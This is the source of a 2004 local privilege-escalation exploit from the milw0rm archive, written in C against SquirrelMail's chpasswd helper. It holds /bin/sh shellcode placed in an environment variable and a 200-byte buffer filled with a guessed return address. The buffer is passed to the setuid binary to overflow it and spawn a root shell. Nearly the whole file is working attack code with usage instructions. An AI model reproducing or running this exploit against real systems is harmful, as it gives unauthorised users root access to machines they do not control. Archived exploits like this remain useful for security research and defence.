SquirrelMail - 'chpasswd' Local Buffer Overflow

/*
* 0x3142-sq-chpasswd.c
* Squirremail chpasswd buffer overflow.
*
* Tested on SuSE 9.
* The bug was found by Matias Neiff <matias neiff com ar>
* Coded by x314 <0x3142 hushmail.com>
* (c) 2004 Copyright by x314.
* All Rights Reserved.
*
* Greets: m0s krewz. 
*
*/

#include <stdlib.h>

char shellcode[]=
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";

int main(int argc, char *argv[])
{
char *env[2] = {shellcode, NULL};
int i;
long ret, *addr_ptr;
char *buffer, *ptr;

buffer = malloc(200);

printf("\n*** Squirremail chpasswd local root exploit by 0x3142@hushmail.com ***\n\n");

if(argc != 2) {
printf("Usage: %s <path-to-chpasswd>\n\n",argv[0]);
exit(0);
}

ret = 0xbffffffa - strlen(shellcode) - strlen(argv[1]);

// printf("Using ret = 0x%x\n\n", ret);

ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0; i < 200; i+=4)
{
*(addr_ptr++) = ret;
}

buffer[200-1] = 0;

execle(argv[1], "chpasswd", buffer, "0x314", "m0s", 0, env);

free(buffer);

return 0;
}




// milw0rm.com [2004-04-20]